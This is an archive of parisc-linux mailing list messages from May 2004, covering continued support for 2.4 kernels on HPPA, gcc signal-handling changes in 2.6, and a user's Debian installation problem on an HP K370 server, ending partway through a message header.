Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A67903BE5B; Mon, 24 May 2004 15:54:04 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from jingo.impsolweb.ca (h64-5-255-70.gtconnect.net [64.5.255.70])
	by free.linux.hp.com (Postfix) with ESMTP id AC3483BE57
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 May 2004 15:54:01 -0600 (MDT)
Original-Received: from u135n18.eastlink.ca
	([24.224.135.18] helo=brain.fop.ns.ca ident=mail)
	by jingo.impsolweb.ca with esmtp (Exim 3.35 #1 (Debian))
	id 1BSNOS-0005Am-00; Mon, 24 May 2004 18:54:00 -0300
Original-Received: from lists (helo=localhost)
	by brain.fop.ns.ca with local-esmtp (Exim 3.35 #1 (Debian))
	id 1BSNOR-0006Rt-00; Mon, 24 May 2004 18:53:59 -0300
X-X-Sender: lists@brain.fop.ns.ca
In-Reply-To: <20040524183227.GW7207@tausq.org>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21658

On Mon, 24 May 2004, Randolph Chung wrote:

> So, the question is, how many of you run parisc-linux on 2.4
> "production" systems and "cannot" switch to 2.6?

I'm running a 715/100XC and 2.4.25-pa1, which has been running rock solid
now for 56 days. It's my own personal SMTP/POP/IMAP server, file server,
print server, name server, webmail... basically all sorts of little
oddball services that make my life at home a little easier. I also have a
few friends using it, which is the only reason I'd call it anything near
production (but I figured you'd be interested in comments from home users
too). I haven't upgraded to 2.6 because (a) I have very little time at
home to twiddle with things like this these days, and (b) I'm taking the
view of "it's running happily so there's no need for me to change". I
think I'll probably upgrade the box around Christmas or so. Alternatively
I may be able to lay my hands on a D370 (as mentioned in passing) which
I'll probably use to clone my 715 onto and upgrade that to 2.6.

I've also got a J200 I keep meaning to upgrade. So many toys, so little
time... :-/ That machine also generates enough heat that I usually only
run that in the winter, as the heat output from my little server room goes
into the heat exchanger - 45 minutes of that and the disk array running
and the furnace switches off!

Cheers, Steve
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Miguel Angel Torres Lopez <mangel@snsp.gob.mx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Problems with installation Debian Linux...please
Date: Mon, 24 May 2004 19:37:59 -0500
Organization: SNSP
Lines: 136
Approved: news@gmane.org
Message-ID: <!~!UENERkVCMDkAAQACAAAAAAAAAAAAAAAAABgAAAAAAAAAuuXH+i/d1BGvWwABAtXKicKAAAAQAAAAITyLV9I+Rke9DugmXGtDDgEAAAAA@snsp.gob.mx>
Reply-To: mangel@snsp.gob.mx
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============1333649128=="
X-Trace: ger.gmane.org 1416623453 9459 80.91.229.3 (22 Nov 2014 02:30:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:53 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 28232 invoked by uid 65534); 25 May 2004 00:35:25 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx032) with SMTP; 25 May 2004 02:35:25 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 8F54F3BDD3; Mon, 24 May 2004 18:35:09 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from messanger (customer-200-79-46-146.uninet-ide.com.mx
	[200.79.46.146])
	by free.linux.hp.com (Postfix) with ESMTP id C12663BC41
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 May 2004 18:35:06 -0600 (MDT)
Original-Received: from miguel066 ([172.16.38.111])
	by messanger.snsp.gob.mx (iPlanet Messaging Server 5.2 HotFix 1.08
	(built Dec
	6 2002)) with ESMTP id <0HY800BSUUQH6V@messanger.snsp.gob.mx> for
	parisc-linux@lists.parisc-linux.org;
	Mon, 24 May 2004 19:30:17 -0500 (CDT)
X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
X-Mailer: Microsoft Outlook, Build 10.0.4510
Importance: High
X-Priority: 1 (Highest)
X-MSMail-priority: High
Sensitivity: Company-Confidential
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21659

This is a multi-part message in MIME format.

--===============1333649128==
Content-type: multipart/alternative;
	boundary="Boundary_(ID_IYOX+D4+mqjtzW3PWNMVEQ)"

This is a multi-part message in MIME format.

--Boundary_(ID_IYOX+D4+mqjtzW3PWNMVEQ)
Content-type: text/plain; charset=us-ascii
Content-transfer-encoding: 7BIT

 Dear Friends:
   
I ship you this e-mail, waiting that you can help me, since your you
developed the setup program to see. 3.0.23-pdc1 dated of 2003-02-23.. they
Debian linux.... for teams HPPA-RISC...  
  
my problem is this:  
  
Beginning with my CD iso (palinux-2.4.20-pa27-20030223-netinst.iso) lowered
of it paginates it:  <http://www.pateam.org/download.html>
http://www.pateam.org/download.html  
  
IPL?  yes  
  
It begins the process of load of PALO and I select the console type: ttyB0  
  
Continuous the load.....  
  
But to the moment to begin the program linux installer in my server, they
don't see each other the graphics... if I see the messages (as the one I
title, the options that it is necessary to install linux, the types of
partitions, etc.) but I don't see the graphics well and it is I impossible
to select my installation options.  
  
can you help me please?  
  
data of my server:  
  
SYSTEM:        9000  
MODEL:         9000/898/K370  
RISC CHIP:     PA8200  
PA VERSION:    2.0  
SYSTEM GOES:     655623311  
CPU SPEED:     200 MHz  
CPUS:          1 activate processor(s)   
MEMORY:        512 Mbytes of memory.  
HP-UX VERSION: B.10.20  
CONSOLE: serial MONO
HARD DISK: 9 GB (waiting three disk but it stops inetgrar)
 
Thank's a lot
 
Miguel Angel Torres Lopez
Coord. Region Norte
Sistema Nac. At'n. de Llam. de Emerg. 066
Tel. (55) 58040000 ext. 13067
e-mail:  <mailto:mangel@snsp.gob.mx> mangel@snsp.gob.mx
 

--Boundary_(ID_IYOX+D4+mqjtzW3PWNMVEQ)
Content-type: text/html; charset=us-ascii
Content-transfer-encoding: 7BIT

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=us-ascii">
<TITLE>Mensaje</TITLE>

<META content="MSHTML 6.00.2800.1106" name=GENERATOR></HEAD>
<BODY>
<DIV><FONT face=Arial><FONT size=2><SPAN class=865023700-25052004><FONT 
color=#0000ff>&nbsp;Dear Friends:</FONT></SPAN></FONT></FONT></DIV>
<DIV><FONT face=Arial><FONT size=2><SPAN 
class=865023700-25052004>&nbsp;</SPAN>&nbsp; <BR>I ship you this e-mail, waiting 
that you can help me, since your you developed the setup program to see. 
3.0.23-pdc1 dated of 2003-02-23.. they&nbsp;<SPAN 
class=444022100-25052004>Debian</SPAN> linux.... for teams HPPA-RISC...&nbsp; 
<BR>&nbsp; <BR>my problem is this:&nbsp; <BR>&nbsp; <BR>Beginning with my CD iso 
(palinux-2.4.20-pa27-20030223-netinst.iso) lowered of it paginates it: 
</FONT></FONT><A href="http://www.pateam.org/download.html"><FONT face=Arial 
size=2>http://www.pateam.org/download.html</FONT></A><FONT face=Arial><FONT 
size=2>&nbsp; <BR>&nbsp; <BR>IPL?&nbsp; yes&nbsp; <BR>&nbsp; <BR>It begins the 
process of load of&nbsp;<SPAN class=444022100-25052004>PALO</SPAN> and I select 
the console type: ttyB0&nbsp; <BR>&nbsp; <BR>Continuous the load.....&nbsp; 
<BR>&nbsp; <BR>But to the moment to begin the program linux installer in my 
s<SPAN class=444022100-25052004>erver</SPAN>, they don't see each other the 
graphics... if I see the messages (as the one I title, the options that it is 
necessary to install linux, the types of partitions, etc.) but I don't see the 
graphics well and it is I impossible to select my installation options.&nbsp; 
<BR>&nbsp; <BR>can you help me please?&nbsp; <BR>&nbsp; <BR>data of my serv<SPAN 
class=444022100-25052004>er</SPAN>:&nbsp; <BR>&nbsp; 
<BR>SYSTEM:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 9000&nbsp; 
<BR>MODEL:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 9000/898/K370&nbsp; 
<BR>RISC CHIP:&nbsp;&nbsp;&nbsp;&nbsp; PA8200&nbsp; <BR>PA 
VERSION:&nbsp;&nbsp;&nbsp; 2.0&nbsp; <BR>SYSTEM GOES:&nbsp;&nbsp;&nbsp;&nbsp; 
655623311&nbsp; <BR>CPU SPEED:&nbsp;&nbsp;&nbsp;&nbsp; 200 MHz&nbsp; 
<BR>CPUS:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1 activate 
processor(s)&nbsp;&nbsp; <BR>MEMORY:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
512 Mbytes of memory.&nbsp; <BR>HP-UX VERSION: B.10.20&nbsp; <BR>CONSOLE: 
serial&nbsp;<SPAN class=444022100-25052004>MONO</SPAN></FONT></FONT></DIV>
<DIV><FONT face=Arial size=2><SPAN class=444022100-25052004></SPAN>HARD DISK: 9 
GB (waiting three disk but it stops inetgrar)</FONT></DIV>
<DIV><FONT face=Arial size=2></FONT>&nbsp;</DIV>
<DIV><SPAN class=444022100-25052004><FONT face=Arial size=2>Thank's a 
lot</FONT></SPAN></DIV>
<DIV><FONT face=Arial size=2></FONT>&nbsp;</DIV>
<DIV align=left><FONT face="Arial Narrow" size=2>Miguel Angel Torres 
Lopez</FONT></DIV>
<DIV align=left><FONT face="Arial Narrow" size=2>Coord. Region 
Norte</FONT></DIV>
<DIV align=left><FONT face="Arial Narrow" size=2>Sistema Nac. At'n. de Llam. de 
Emerg. 066</FONT></DIV>
<DIV align=left><FONT face="Arial Narrow" size=2>Tel.&nbsp;(55) 58040000 ext. 
13067</FONT></DIV>
<DIV align=left><FONT face="Arial Narrow" size=2>e-mail: </FONT><A 
href="mailto:mangel@snsp.gob.mx"><FONT face="Arial Narrow" 
size=2>mangel@snsp.gob.mx</FONT></A></DIV>
<DIV>&nbsp;</DIV></BODY></HTML>

--Boundary_(ID_IYOX+D4+mqjtzW3PWNMVEQ)--

--===============1333649128==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============1333649128==--



From - Thu Nov 08 21:32:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Support for 2.4.x kernels on hppa
Date: Mon, 24 May 2004 22:02:26 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <20040525040226.GA1308@colo.lackof.org>
References: <20040524183227.GW7207@tausq.org>
	<20040524193205.GB51036@parc.styx.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623454 9463 80.91.229.3 (22 Nov 2014 02:30:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:54 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: William Waites <ww@parc.styx.org>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 7111 invoked by uid 65534); 25 May 2004 04:02:39 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx003) with SMTP; 25 May 2004 06:02:39 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 2606D3BDD9; Mon, 24 May 2004 22:02:31 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 14E053BC41
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 May 2004 22:02:28 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 3F2B629803C; Mon, 24 May 2004 22:02:27 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 00933-07; Mon, 24 May 2004 22:02:26 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 8EA78298029; Mon, 24 May 2004 22:02:26 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20040524193205.GB51036@parc.styx.org>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21660

On Mon, May 24, 2004 at 03:32:05PM -0400, William Waites wrote:
...
> That said, the box is quite stable, so I
> don't plan to touch the kernel unless a compelling reason
> presents itself, in which case a change to 2.6 won't cause
> any additional pain.

Disk devices are enumerated differently on 2.6.
ie some minor pain to find the root disk again
if one isn't lucky.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Support for 2.4.x kernels on hppa
Date: Mon, 24 May 2004 22:09:29 -0600
Lines: 27
Approved: news@gmane.org
Message-ID: <20040525040929.GB1308__3666.58014613694$1416623454$gmane$org@colo.lackof.org>
References: <200405242136.i4OLaRtN003029@arbas.nms.ulrich-teichert.org>
	<200405242147.i4OLlVoZ012250@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623454 9465 80.91.229.3 (22 Nov 2014 02:30:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:54 +0000 (UTC)
Cc: Ulrich Teichert <krypton@ulrich-teichert.org>,
 parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 13460 invoked by uid 65534); 25 May 2004 04:10:00 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx014) with SMTP; 25 May 2004 06:10:00 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 9C0573BDE2; Mon, 24 May 2004 22:09:33 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id B6E783BC41
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 May 2004 22:09:31 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id CC46B29803C; Mon, 24 May 2004 22:09:30 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 00933-09; Mon, 24 May 2004 22:09:30 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id F28F8298029; Mon, 24 May 2004 22:09:29 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <200405242147.i4OLlVoZ012250@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21661

On Mon, May 24, 2004 at 05:47:31PM -0400, John David Anglin wrote:
> > Just make it clear in the release notes and let the compile fail on
> > 2.4 with an #error, IMHO. Does that sound too lazy ?-)
> 
> Yes.  It's a runtime issue and nobody seems to read the release notes.

In other words, the next Debian release based on gcc 3.5 or later
will require a 2.6 parisc kernel?

If that's the case, we are looking several years out and I personally
don't see a problem with it. Folks can continue to run "sarge"
for a long time after that if they are happy with it.

Gentoo folks will have to "pin" the compiler rev if they want
to use 2.4 kernels.

I trust we don't have to worry about HPUX, HP-RT, or MPE and
issues with gcc/java? :^)

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Support for 2.4.x kernels on hppa
Date: Mon, 24 May 2004 22:42:16 -0700
Lines: 57
Approved: news@gmane.org
Message-ID: <20040525054216.GD7207__23715.271408628$1416623454$gmane$org@tausq.org>
References: <200405242136.i4OLaRtN003029@arbas.nms.ulrich-teichert.org>
	<200405242147.i4OLlVoZ012250@hiauly1.hia.nrc.ca>
	<20040525040929.GB1308@colo.lackof.org>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623454 9467 80.91.229.3 (22 Nov 2014 02:30:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:54 +0000 (UTC)
Cc: Ulrich Teichert <krypton@ulrich-teichert.org>,
 parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 21454 invoked by uid 65534); 25 May 2004 05:42:52 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx053) with SMTP; 25 May 2004 07:42:52 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 80D1C3BE2D; Mon, 24 May 2004 23:42:20 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by free.linux.hp.com (Postfix) with ESMTP id 628B63BC41
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 May 2004 23:42:17 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 7803ECD29F; Mon, 24 May 2004 22:42:16 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20040525040929.GB1308@colo.lackof.org>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21662

> In other words, the next Debian release based on gcc 3.5 or later
> will require a 2.6 parisc kernel?

Not require, but some features will only work properly with a 2.6.x
kernel. Some features may cause unexpected behaviors with 2.4 kernels.

Let me explain this in a bit more detail.

As Dave mentioned, there is a case in gcc which is currently broken when
running 2.4 kernels, because sigcontext handling was broken in 2.4
kernels for 64-bit kernels. Carlos fixed this in 2.6.x (thanks Carlos).

The signal trampoline layout also changed in 2.6.x kernels, breaking 
backward compatibility for userspace applications that need to process 
the signal context structure. This has come up not only for gcc but for
some other applications (this topic comes up from time to time on 
debian-hppa).

Currently there is code in gcc to handle 32-bit 2.4 kernels, 32-bit 2.6
kernels and 64-bit 2.6 kernels. However, it appears that with 2.4
kernels there are still some bugs related to either mmap, signal
handling or unaligned trap handling that causes the gcc testsuite to
hang the machine from time to time. If you run a 64-bit 2.4 kernel than
some of the gcc unwinding stuff will not work at all.

It is certainly possible to fix this, if someone is so inclined.... but
there are many bugs to fix in 2.6, and i still have 70+ gdb bugs to fix
:) so it'll have to be someone else....

In a grand scheme of things, there is just a small portion of userspace
that will not work properly with a 2.4 kernel. Probably 95+% of users
will not notice... but it is still broken, and we need to make sure this
is clear and people understand that if something doesn't work, the only
"solution" may be to upgrade to 2.6.x kernels (unless someone steps up
to say they will maintain the 2.4.x kernel series for hppa). gcc is just
one example of where this will come up, there are probably some other
cases where things will be fixed with 2.6 kernels and won't work with
2.4. I don't think anyone will break anything intentionally for 2.4, but
most of the active developers are probably doing most of their work on
2.6, so 2.4 is not nearly as well tested.

I should also point out that, really, this is nothing new, we've
probably been operating in this mode for the last year; it's just
never been made explicit.. :)

thanks,
randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Support for 2.4.x kernels on hppa
Date: Tue, 25 May 2004 02:02:51 -0400 (EDT)
Lines: 17
Approved: news@gmane.org
Message-ID: <200405250602.i4P62q6W014033__9188.50273960761$1416623455$gmane$org@hiauly1.hia.nrc.ca>
References: <20040525040929.GB1308@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623455 9468 80.91.229.3 (22 Nov 2014 02:30:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:55 +0000 (UTC)
Cc: krypton@ulrich-teichert.org,
 parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 18696 invoked by uid 65534); 25 May 2004 06:03:14 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx005) with SMTP; 25 May 2004 08:03:14 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 0E90F3BE33; Tue, 25 May 2004 00:02:57 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
